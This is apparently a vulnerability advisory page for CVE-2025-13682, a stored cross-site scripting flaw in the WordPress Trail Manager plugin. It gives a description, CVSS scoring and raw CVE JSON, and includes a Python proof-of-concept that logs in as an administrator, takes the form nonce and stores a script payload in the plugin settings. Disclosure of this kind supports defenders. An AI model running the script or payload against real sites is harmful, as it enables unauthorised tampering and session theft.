Security Vulnerability Report
中文
CVE-2025-13682 CVSS 4.4 MEDIUM

CVE-2025-13682

Published: 2025-12-05 10:15:47
Last Modified: 2026-04-15 00:35:42

Description

The Trail Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Trail Manager plugin for WordPress <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-13682 PoC - WordPress Trail Manager Stored XSS # Target: WordPress site with Trail Manager plugin <= 1.0.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" PASSWORD = "admin_password" session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } response = session.post(login_url, data=login_data) # Step 2: Access Trail Manager settings page settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=trail-manager-settings" response = session.get(settings_url) # Step 3: Extract nonce for form submission nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', response.text) if nonce_match: wp_nonce = nonce_match.group(1) # Step 4: Inject XSS payload in Trail Manager settings # Payload: <script>alert(document.cookie)</script> xss_payload = '<script>alert(document.cookie)</script>' post_data = { '_wpnonce': wp_nonce, 'trail_manager_option': xss_payload, 'submit': 'Save Changes' } response = session.post(settings_url, data=post_data) print("[+] XSS payload injected successfully") print("[+] Payload stored in plugin settings") print("[+] Any user visiting affected pages will trigger the XSS")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13682", "sourceIdentifier": "[email protected]", "published": "2025-12-05T10:15:47.237", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Trail Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/trail-manager/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/eb43502e-dedd-46ff-b8e8-68298779f125?source=cve", "source": "[email protected]"}]}}